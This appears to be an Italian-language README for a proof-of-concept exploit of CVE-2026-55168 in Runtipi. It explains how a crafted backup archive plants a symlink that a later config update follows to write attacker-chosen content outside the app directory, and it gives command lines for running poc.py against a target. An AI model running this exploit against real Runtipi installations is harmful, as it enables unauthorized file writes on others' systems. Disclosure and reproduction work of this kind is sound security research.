
Questo repository contiene un semplice PoC per CVE-2026-55168 in Runtipi.
Il problema è una scrittura arbitraria di file autenticata che può essere raggiunta tramite il flusso di ripristino del backup. Un archivio di backup appositamente predisposto può inserire un symlink nei dati dell'applicazione ripristinati, e un successivo normale aggiornamento della configurazione segue quel symlink e scrive contenuto controllato dall'attaccante al di fuori della directory prevista.
Advisory di riferimento:
Versioni interessate:
<= 4.10.0Il PoC accede a Runtipi, crea un archivio di backup dannoso in memoria, lo carica, attiva il ripristino e quindi invia una normale richiesta di aggiornamento user-config.
Il payload di ripristino inserisce questo symlink:
user-config/app.env -> /data/state/proof.txt
Successivamente, la normale richiesta di aggiornamento della configurazione dell'app induce Runtipi a scrivere il contenuto fornito in:
/data/state/proof.txt
Quindi la parte importante non è solo la persistenza del symlink durante il ripristino, ma il fatto che una successiva scrittura legittima segua il symlink inserito.
poc.py — PoC Python end-to-endpython poc.py \
--base-url http://127.0.0.1:3001 \
--username YOUR_USERNAME \
--password YOUR_PASSWORD \
--app-urn demoapp3:_user \
--target-path /data/state/proof.txt \
--write-content PWNED_FROM_USERCFG_WRITE
Se vuoi, puoi anche salvare localmente l'archivio generato:
python poc.py \
--base-url http://127.0.0.1:3001 \
--username YOUR_USERNAME \
--password YOUR_PASSWORD \
--output payload.tar.gz
Se il target è vulnerabile, lo script termina con successo e stampa un piccolo risultato JSON con status: "ok".
Questo PoC è fornito a scopo di ricerca e riproduzione.